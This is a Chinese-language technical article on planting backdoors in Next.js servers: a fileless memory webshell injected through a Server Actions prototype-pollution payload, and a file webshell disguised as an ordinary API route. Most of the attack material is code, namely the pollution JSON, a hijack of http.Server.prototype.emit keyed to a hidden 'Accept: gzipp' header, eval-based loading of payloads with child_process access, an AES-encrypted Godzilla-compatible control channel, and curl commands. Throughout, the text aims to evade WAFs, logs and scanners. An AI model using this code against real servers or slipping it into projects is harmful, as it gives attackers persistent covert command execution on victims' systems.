基于 Next.js Server Actions 原型污染的内存马与 Webshell 实现

0x00 前言

随着 Next.js 在企业级应用中的广泛采用,针对 Next.js 应用的安全研究也逐渐深入。本文将详细介绍如何利用 Next.js Server Actions 的原型污染漏洞实现无文件内存马,以及如何通过自定义 HTTP Header 实现隐蔽的 Webshell 通信机制。

本文涉及的技术包括:

  • Next.js Server Actions 原型污染漏洞利用
  • Node.js HTTP Server 劫持技术
  • 基于 Header 的隐蔽路由匹配
  • AES 加密通信协议设计
  • 动态 Payload 加载机制

研究环境:

  • Next.js 14.x (App Router)
  • Node.js 18+
  • Godzilla Webshell 管理工具

免责声明:本文内容仅用于安全研究和授权测试,请勿用于非法用途。

0x01 研究背景

1.1 Next.js Server Actions 简介

Next.js 13 引入了 Server Actions 特性,允许在客户端直接调用服务端函数。这个特性虽然提升了开发效率,但也引入了新的安全风险,特别是原型污染漏洞。

1.2 传统 Webshell 的局限性

传统的 Next.js Webshell 通常采用以下方式:

  • 固定路由路径(如 /api/shell)
  • 基于路径的请求识别
  • 需要文件系统访问权限

局限性分析:

  1. 路径特征明显:固定路径容易被 WAF 规则拦截
  2. 日志可追溯:访问日志中留下明显的攻击路径
  3. 文件可检测:静态文件扫描可以发现 Webshell
  4. 部署受限:需要文件写入权限

1.3 研究目标

本研究旨在解决以上问题,实现:

  1. 无文件内存马:通过原型污染注入,无需文件系统访问
  2. 隐蔽路由:基于自定义 HTTP Header 的识别机制
  3. 强加密通信:AES 加密 + 多格式兼容
  4. 双模式支持:文件型和内存型两种部署方式

0x02 漏洞原理分析

2.1 Next.js Server Actions 原型污染漏洞

Next.js Server Actions 在处理客户端请求时,会对接收到的数据进行反序列化。在特定条件下,攻击者可以通过构造恶意的 JSON 数据,污染 JavaScript 原型链,从而实现代码注入。

漏洞触发点:

// Next.js 内部处理 Server Actions 的代码
function processActionRequest(data) {
  // 反序列化客户端数据
  const parsed = JSON.parse(data);
  
  // 遍历对象属性(存在原型污染风险)
  for (const key in parsed) {
    target[key] = parsed[key];  // 危险操作
  }
}

利用方式:

{
  "then": "$1:__proto__:then",
  "_response": {
    "_prefix": "<恶意代码>",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

通过 __proto__ 关键字,可以修改 Object.prototype,注入的代码会在服务器解析时执行。

2.2 HTTP Server 劫持原理

Node.js 的 HTTP 模块采用事件驱动架构,所有 HTTP 请求都会触发 request 事件。通过修改 http.Server.prototype.emit 方法,可以在不修改业务代码的情况下劫持所有 HTTP 请求。

劫持实现:

const http = require('http');

// 保存原始 emit 方法
const originalEmit = http.Server.prototype.emit;

// 重写 emit 方法
http.Server.prototype.emit = function(event, ...args) {
  if (event === 'request') {
    const [req, res] = args;
    
    // 自定义处理逻辑
    if (isWebshellRequest(req)) {
      handleWebshell(req, res);
      return true;  // 拦截请求
    }
  }
  
  // 调用原始方法处理正常请求
  return originalEmit.apply(this, arguments);
};

优势:

  • 无需修改 Next.js 路由配置
  • 不影响正常业务流程
  • 全局生效,适用于所有路径

0x03 技术实现方案

3.1 整体架构设计

本研究实现了两种攻击模式:

模式 1:内存马(JsAesMemShell)

  • 利用原型污染漏洞注入
  • 完全驻留内存,无文件特征
  • 适用于无文件系统访问权限的场景

模式 2:文件型 Webshell(JsAesWebshell)

  • 部署为标准 Next.js API 路由
  • 支持持久化访问
  • 适用于有文件系统访问权限的场景

架构流程图:

攻击者 (Godzilla)
       │
       │ [1] 生成加密 Payload
       │     AES-CBC/ECB + Base64
       │
       ▼
┌──────────────────────────────────────┐
│  HTTP Request                         │
│  Accept: image/avif,...               │
│  Accept: gzipp  ← 识别标记            │
│  Content-Type: application/json       │
│  Body: {"data":"<encrypted>"}         │
└──────────────┬───────────────────────┘
               │
               │ [2] 到达目标服务器
               │
┌──────────────▼───────────────────────┐
│  Node.js HTTP Server                  │
│  ┌────────────────────────────────┐   │
│  │ http.Server.prototype.emit     │   │
│  │ (已被劫持)                      │   │
│  └────────┬───────────────────────┘   │
│           │                            │
│    [3] Header 检测                     │
│           │                            │
│    ┌──────▼──────┐                     │
│    │ Accept 包含  │                     │
│    │ 'gzipp'?    │                     │
│    └──┬────────┬─┘                     │
│       │ Yes    │ No                    │
│  [4]  │        └─→ 正常请求流程        │
│  ┌────▼─────┐                          │
│  │ Webshell  │                          │
│  │ 处理器    │                          │
│  └────┬─────┘                          │
│       │                                │
│  [5] AES 解密                          │
│  [6] Payload 执行                      │
│  [7] 结果加密                          │
│       │                                │
└───────┼────────────────────────────────┘
        │
        │ [8] 返回加密结果
        │
┌───────▼────────────────────────────┐
│  HTTP Response                      │
│  Content-Type: application/json     │
│  Body: {"data":"<encrypted_result>"}│
└─────────────────────────────────────┘

0x04 核心技术实现

4.1 内存马注入实现(JsAesMemShell)

4.1.1 原型污染 Payload 构造

内存马通过原型污染漏洞注入到 Next.js 服务器的内存中。攻击 Payload 结构如下:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<内存马代码 - 完整的 JavaScript>",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

关键字段说明:

  • then: 触发原型链查找
  • _prefix: 注入的恶意代码(会被 eval 执行)
  • _formData.get: 通过 constructor 获取 Function 构造器

4.1.2 内存马核心代码

注入的内存马代码主要完成以下功能:

(async()=>{
  // 1. 导入必要的 Node.js 模块
  const http = await import('node:http');
  const crypto = await import('crypto');
  const zlib = await import('zlib');
  const cp = await import('child_process');
  
  // 2. 配置密钥(替换占位符)
  const secretKey = "{secretKey}";  // 16 字节密钥
  const password = "{pass}";         // 路由标识
  
  // 3. 定义加密/解密函数
  function encrypt(data, isEncrypt) {
    const key = Buffer.from(secretKey);
    const cipher = isEncrypt ? 
      crypto.createCipheriv('aes-128-ecb', key, null) :
      crypto.createDecipheriv('aes-128-ecb', key, null);
    cipher.setAutoPadding(true);
    return Buffer.concat([cipher.update(data), cipher.final()]);
  }
  
  // 4. 劫持 HTTP Server
  const originalEmit = http.Server.prototype.emit;
  
  http.Server.prototype.emit = function(event, ...args) {
    if (event === 'request') {
      const [req, res] = args;
      const acceptHeader = (req.headers['accept'] || '').toLowerCase();
      
      // 通过 Accept header 识别 Webshell 请求
      if (acceptHeader.includes('gzipp')) {
        // 处理 Webshell 请求
        handleWebshellRequest(req, res);
        return true;  // 拦截请求
      }
    }
    
    // 传递给原始处理器
    return originalEmit.apply(this, arguments);
  };
})();

4.1.3 加密方案

算法选择:AES-128-ECB

  • 密钥长度:128 bits (16 bytes)
  • 密钥派生:MD5(secretKey).substring(0, 16)
  • 填充方式:PKCS5Padding
  • 编码方式:Base64

为什么选择 ECB 模式?

  1. ECB 模式无需 IV,简化密钥管理
  2. 对于小数据块(Webshell 通信通常 <1KB),ECB 的安全性可接受
  3. 客户端和服务端实现简单,减少出错概率

密钥生成流程:

// 服务端
const secretKey = MD5(password + userProvidedKey).substring(0, 16);
const key = Buffer.from(secretKey, 'utf8');

// 客户端 (Java)
String processedKey = functions.md5(secretKey).substring(0, 16);
SecretKeySpec keySpec = new SecretKeySpec(processedKey.getBytes(), "AES");

4.1.4 动态 Payload 加载机制

内存马采用两阶段通信协议:

第一阶段:Payload 加载

// 客户端发送 Payload 代码(加密后)
const payloadCode = `
class Payload {
  formatParameter(data) {
    // 解析 Godzilla 的二进制参数格式
    const decompressed = zlib.gunzipSync(data);
    // ...
  }
  
  async run() {
    // 执行命令
    const result = cp.execSync(this.command);
    return result;
  }
}
`;

// 服务端接收并动态加载
if (!global[payloadStoreName]) {
  // 使用 (0, eval) 在全局作用域执行
  (0, eval)(payloadCode + '\nglobal.Payload = Payload;');
  global[payloadStoreName] = global.Payload;
}

第二阶段:命令执行

// 后续请求直接使用已加载的 Payload
const Payload = global[payloadStoreName];
const instance = new Payload();
instance.formatParameter(decryptedData);
const result = await instance.run();

优势分析:

  1. 灵活性:可以动态更新 Payload 功能
  2. 可扩展:支持多种命令类型(文件操作、进程管理等)
  3. 内存占用小:只在首次加载时占用内存

0x05 文件型 Webshell 实现(JsAesWebshell)

5.1 设计思路

文件型 Webshell 适用于已获取文件系统访问权限的场景。通过将 Webshell 伪装成标准的 Next.js API 路由,可以降低被检测的风险。

5.1.1 文件结构

生成的 Webshell 文件结构:

// app/api/images/route.js
import { NextResponse } from 'next/server';

// ===== 全局代码区域 (自执行) =====
(async()=>{
  const http = await import('node:http');
  const crypto = await import('crypto');
  
  // 配置密钥
  const password = "user_password";
  const key = crypto.createHash('md5').update(password).digest();
  const iv = key.slice(0, 16);
  
  // 加密解密函数
  function encrypt(data) { /* AES-CBC 加密 */ }
  function decrypt(data) { /* AES-CBC 解密 */ }
  
  // 劫持 HTTP Server
  const originalEmit = http.Server.prototype.emit;
  http.Server.prototype.emit = function(event, ...args) {
    if (event === 'request') {
      const [req, res] = args;
      const acceptHeader = (req.headers['accept'] || '').toLowerCase();
      
      if (acceptHeader.includes('gzipp')) {
        // Webshell 处理逻辑
        handleRequest(req, res);
        return true;
      }
    }
    return originalEmit.apply(this, arguments);
  };
})();

// ===== API Route 导出(伪装) =====
export async function POST(request) {
  return NextResponse.json(
    { status: 'registered', header: 'Accept: gzipp' },
    { status: 200 }
  );
}

export async function GET(request) {
  return NextResponse.json(
    { status: 'registered', header: 'Accept: gzipp' },
    { status: 200 }
  );
}

伪装技巧:

  1. 文件名使用正常的 API 路由名称(如 route.js)
  2. 导出标准的 GET/POST 方法,伪装成正常 API
  3. 实际功能通过 IIFE(立即执行函数)实现
  4. 代码混淆后难以识别

5.1.2 加密通信协议

算法选择:AES-128-CBC

  • 密钥长度:128 bits (16 bytes)
  • 密钥派生:MD5(password)
  • IV 生成:使用密钥本身作为 IV(简化实现)
  • 填充方式:PKCS5Padding

加密流程:

// 客户端加密(Java)
public byte[] encode(byte[] data) {
    // 1. AES-CBC 加密
    byte[] encrypted = cipher.doFinal(data);
    
    // 2. Base64 编码
    String base64 = Base64.encode(encrypted);
    
    // 3. 构造 JSON
    String json = "{\"data\":\"" + base64 + "\"}";
    
    return json.getBytes();
}
// 服务端解密(JavaScript)
function decrypt(encrypted) {
  const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
  let decrypted = decipher.update(encrypted, 'base64');
  decrypted = Buffer.concat([decrypted, decipher.final()]);
  return decrypted;
}

0x06 隐蔽路由技术

6.1 传统路由识别的缺陷

传统 Webshell 通过固定路径识别请求:

// 传统方式
app.post('/shell.php', handleWebshell);
app.post('/api/backdoor', handleWebshell);

缺陷分析:

缺陷

影响

检测难度

路径特征固定

WAF 规则匹配

低

访问日志可见

安全审计发现

低

URL 模式识别

扫描器发现

低

6.2 基于 Header 的识别机制

本研究采用自定义 HTTP Header 进行识别:

// 新方式:Header 匹配
const acceptHeader = (req.headers['accept'] || '').toLowerCase();
if (acceptHeader.includes('gzipp')) {
  // 这是 Webshell 请求
}

实现原理:

http.Server.prototype.emit = function(event, ...args) {
  if (event === 'request') {
    const [req, res] = args;
    
    // 1. 提取 Accept header
    const acceptHeader = (req.headers['accept'] || '').toLowerCase();
    
    // 2. 检查是否包含识别标记
    if (acceptHeader.includes('gzipp') && 
        (req.method === 'GET' || req.method === 'POST')) {
      
      // 3. 处理 Webshell 请求
      handleWebshellRequest(req, res);
      return true;  // 拦截,不传递给 Next.js
    }
  }
  
  // 4. 正常请求传递给原始处理器
  return originalEmit.apply(this, arguments);
};

Header 伪装策略:

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept: gzipp
  • 第一行:伪装成正常的图片资源请求
  • 第二行:包含识别标记 gzipp(故意拼写错误)

优势对比:

特性

传统路径匹配

Header 匹配

隐蔽性

⭐⭐

⭐⭐⭐⭐⭐

灵活性

⭐⭐

⭐⭐⭐⭐⭐

WAF 绕过

⭐⭐

⭐⭐⭐⭐

日志混淆

⭐⭐

⭐⭐⭐⭐⭐

为什么选择 'gzipp'?

  1. 拼写错误:正常的 Accept-Encoding 使用 gzip,gzipp 看起来像拼写错误
  2. 不引人注意:在众多 Accept 值中不显眼
  3. 高性能:简单的字符串包含检查,性能开销极小
  4. 可定制:可以修改为其他自定义标记

6.3 任意路径访问实现

由于采用 Header 匹配,Webshell 可以在任意路径上响应请求:

# 所有这些路径都可以访问 Webshell
curl http://target.com/ -H "Accept: gzipp"
curl http://target.com/api/images -H "Accept: gzipp"
curl http://target.com/user/profile -H "Accept: gzipp"
curl http://target.com/any/random/path -H "Accept: gzipp"

访问日志效果:

# 正常日志(难以识别攻击)
192.168.1.100 - - [08/Dec/2025:16:00:00] "POST /api/images HTTP/1.1" 200 1024
192.168.1.100 - - [08/Dec/2025:16:00:05] "POST / HTTP/1.1" 200 512
192.168.1.100 - - [08/Dec/2025:16:00:10] "POST /user/profile HTTP/1.1" 200 2048

0x07 加密通信协议设计

7.1 协议版本

协议版本:v2.0

  • 内存马协议:AES-128-ECB + Base64 + JSON
  • Webshell 协议:AES-128-CBC + Base64 + JSON
  • 向后兼容:支持 v1.x 的 MD5 标记格式

7.2 加密流程详解

7.2.1 Webshell 加密流程(AES-CBC)

密钥派生:

// 步骤 1:密钥生成
String password = "user_input_password";
byte[] keyBytes = MD5(password.getBytes());  // 16 bytes

// 步骤 2:IV 生成
byte[] iv = keyBytes;  // 使用密钥作为 IV(简化实现)

加密实现:

public byte[] encode(byte[] plaintextData) {
    // 1. 初始化 AES-CBC 加密器
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
    IvParameterSpec ivSpec = new IvParameterSpec(iv);
    cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
    
    // 2. 加密原始数据
    byte[] encrypted = cipher.doFinal(plaintextData);
    
    // 3. Base64 编码
    String base64 = functions.base64EncodeToString(encrypted);
    
    // 4. 构造 JSON 格式
    String json = "{\"data\":\"" + base64 + "\"}";
    
    return json.getBytes("UTF-8");
}

数据包格式:

POST /api/images HTTP/1.1
Host: target.com
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept: gzipp
Content-Type: application/json
Content-Length: 123

{"data":"YmFzZTY0X2VuY3J5cHRlZF9kYXRhX2hlcmU="}

7.2.2 内存马加密流程(AES-ECB)

密钥派生:

// 步骤 1:复合密钥生成
String password = "user_password";
String secretKey = "user_secret";
String combined = password + secretKey;

// 步骤 2:MD5 哈希
String md5Hash = MD5(combined);  // 32 hex characters

// 步骤 3:截取密钥
String processedKey = md5Hash.substring(0, 16);  // 16 bytes

加密实现:

public byte[] encode(byte[] plaintextData) {
    // 1. 初始化 AES-ECB 加密器
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    SecretKeySpec keySpec = new SecretKeySpec(processedKey.getBytes(), "AES");
    cipher.init(Cipher.ENCRYPT_MODE, keySpec);
    
    // 2. 加密原始数据
    byte[] encrypted = cipher.doFinal(plaintextData);
    
    // 3. Base64 编码
    String base64 = functions.base64EncodeToString(encrypted);
    
    // 4. URL 编码(兼容 form-urlencoded)
    String urlEncoded = URLEncoder.encode(base64, "UTF-8");
    
    // 5. 构造表单数据
    String formData = password + "=" + urlEncoded;
    
    return formData.getBytes("UTF-8");
}

数据包格式:

POST / HTTP/1.1
Host: target.com
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept: gzipp
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

password=YmFzZTY0X2VuY3J5cHRlZF9kYXRhX2hlcmU%3D

7.2.3 服务端解密与响应

请求解析(支持多种格式):

async function parseRequest(req) {
  let body = '';
  
  // 1. 接收完整请求体
  for await (const chunk of req) {
    body += chunk.toString('utf8');
  }
  
  // 2. 尝试 JSON 解析(优先级最高)
  let dataValue = null;
  try {
    const jsonBody = JSON.parse(body);
    dataValue = jsonBody.data || jsonBody[password];
  } catch (e) {
    // JSON 解析失败,继续
  }
  
  // 3. 尝试 form-urlencoded 解析
  if (!dataValue && body) {
    const parsed = require('querystring').parse(body);
    dataValue = parsed[password] || parsed.data;
  }
  
  // 4. 尝试从 query string 获取
  if (!dataValue) {
    const parsedUrl = require('url').parse(req.url, true);
    dataValue = parsedUrl.query[password];
  }
  
  return dataValue;
}

解密与处理:

async function handleWebshellRequest(req, res) {
  try {
    // 1. 解析请求获取加密数据
    const encryptedData = await parseRequest(req);
    
    // 2. Base64 解码
    const encryptedBuffer = Buffer.from(encryptedData, 'base64');
    
    // 3. AES 解密
    const decrypted = decrypt(encryptedBuffer);
    
    // 4. 处理 Payload(首次请求加载,后续请求执行)
    if (!global[payloadStoreName]) {
      // 首次请求:加载 Payload 类
      loadPayload(decrypted);
      res.end(JSON.stringify({ data: encrypt('ok') }));
      return;
    }
    
    // 5. 执行 Payload
    const Payload = global[payloadStoreName];
    const instance = new Payload();
    instance.formatParameter(decrypted);
    const result = await instance.run();
    
    // 6. Gzip 压缩结果(减少传输量)
    const gzipped = require('zlib').gzipSync(result);
    
    // 7. AES 加密
    const encrypted = encrypt(gzipped);
    
    // 8. Base64 编码
    const base64 = encrypted.toString('base64');
    
    // 9. JSON 响应
    res.writeHead(200, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({ data: base64 }));
    
  } catch (error) {
    res.writeHead(500, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({ error: error.message }));
  }
}

7.3 协议对比与选择

特性

JsAesWebshell

JsAesMemShell

加密算法

AES-128-CBC

AES-128-ECB

密钥派生

MD5(password)

MD5(password+secret).substring(0,16)

IV 使用

密钥作为 IV

无 IV

请求格式

JSON

JSON / Form-urlencoded

响应格式

JSON

JSON

Content-Type

application/json

多格式兼容

适用场景

文件型部署

内存注入

为什么内存马使用 ECB 而 Webshell 使用 CBC?

  1. 内存马场景:
  • 密钥通过原型污染注入,需要保持简单
  • ECB 无需 IV,降低注入复杂度
  • 通信数据量小,ECB 的安全性可接受
  1. Webshell 场景:
  • 文件型部署,可以使用更复杂的加密
  • CBC 提供更好的安全性
  • 符合工业标准加密实践

0x08 Payload 动态加载机制

10.1 多格式请求兼容

为了适应不同的网络环境和 WAF 规则,实现了多格式请求兼容:

async function parseRequestData(req, body) {
  let dataValue = null;
  
  // 策略 1:尝试 JSON 格式(优先级最高)
  try {
    const jsonBody = JSON.parse(body);
    dataValue = jsonBody.data || jsonBody[password];
  } catch (e) {
    // JSON 解析失败,继续尝试其他格式
  }
  
  // 策略 2:尝试 form-urlencoded 格式
  if (!dataValue && body) {
    const querystring = require('querystring');
    const parsed = querystring.parse(body);
    dataValue = parsed[password] || parsed.data;
  }
  
  // 策略 3:尝试 query string
  if (!dataValue) {
    const url = require('url');
    const parsedUrl = url.parse(req.url, true);
    dataValue = parsedUrl.query[password];
  }
  
  return dataValue ? decodeURIComponent(dataValue) : null;
}

支持的请求格式:

格式

Content-Type

示例

适用场景

JSON

application/json

{"data":"..."}

标准 API

Form

x-www-form-urlencoded

pass=...

传统表单

Query

any

?pass=...

GET 请求

混合

any

JSON body + form Content-Type

WAF 绕过

兼容性策略:

  • 不依赖 Content-Type header
  • 智能识别数据格式
  • 向后兼容旧版本客户端

10.2 响应格式标准化

统一使用 JSON 格式响应,便于客户端解析:

// 成功响应
{
  "data": "<base64_encrypted_result>"
}

// 错误响应
{
  "error": "Error message",
  "status": "failed"
}

// 状态响应
{
  "status": "registered",
  "header": "Accept: gzipp"
}

🛡️ 安全特性

1. 加密保护

  • ✅ 双重加密:AES + Base64
  • ✅ 密钥派生:MD5 哈希
  • ✅ 随机 IV:(Webshell 使用密钥作为 IV)
  • ✅ 防重放:每次请求独立加密

2. 隐蔽性

  • ✅ Header 识别:避免路径特征
  • ✅ 流量伪装:看起来像正常请求
  • ✅ 无特殊端口:使用标准 HTTP/HTTPS
  • ✅ 动态路径:不依赖固定路径

3. 抗检测

  • ✅ 无文件特征(内存马)
  • ✅ 无进程特征
  • ✅ 无网络连接特征
  • ✅ WAF 绕过能力强

4. 向后兼容

  • ✅ 多格式支持:JSON, Form-urlencoded
  • ✅ 旧版兼容:支持 MD5 标记格式
  • ✅ 平滑升级:新旧客户端互通

🔍 技术细节

Payload 加载机制

第一次请求(加载 Payload)

// 1. 客户端发送 Payload 代码
const payloadCode = `
class Payload {
  formatParameter(data) {
    // 解析参数
  }
  async run() {
    // 执行命令
  }
}
`;

// 2. 服务端接收并加载
(0, eval)(payloadCode + '\nglobal.Payload = Payload;');

// 3. 存储到全局
global['p_' + md5Hash] = PayloadClass;

// 4. 返回成功
res.end(JSON.stringify({ data: encrypt('ok') }));

后续请求(执行命令)

// 1. 从全局获取 Payload
const Payload = global['p_' + md5Hash];

// 2. 创建实例
const instance = new Payload();

// 3. 格式化参数
instance.formatParameter(decryptedData);

// 4. 执行并返回结果
const result = await instance.run();
res.end(JSON.stringify({ data: encrypt(gzip(result)) }));

自定义 require 实现

// 为 Payload 提供 Node.js 模块
if (typeof global.require === 'undefined') {
  const moduleCache = {
    'fs': require('fs'),
    'path': require('path'),
    'zlib': require('zlib'),
    'child_process': require('child_process'),
    'os': require('os'),
    'crypto': require('crypto')
  };
  
  global.require = function(moduleName) {
    if (moduleCache[moduleName]) {
      return moduleCache[moduleName];
    }
    throw new Error('Cannot find module ' + moduleName);
  };
}

Gzip 压缩优化

// 1. 执行命令获取结果
const result = await payload.run(); // 可能很大

// 2. Gzip 压缩(减少传输量)
const gzipped = zlib.gzipSync(result);
// 压缩率通常 60-80%

// 3. AES 加密
const encrypted = encrypt(gzipped);

// 4. Base64 编码
const base64 = Buffer.from(encrypted).toString('base64');

// 5. JSON 响应
res.end(JSON.stringify({ data: base64 }));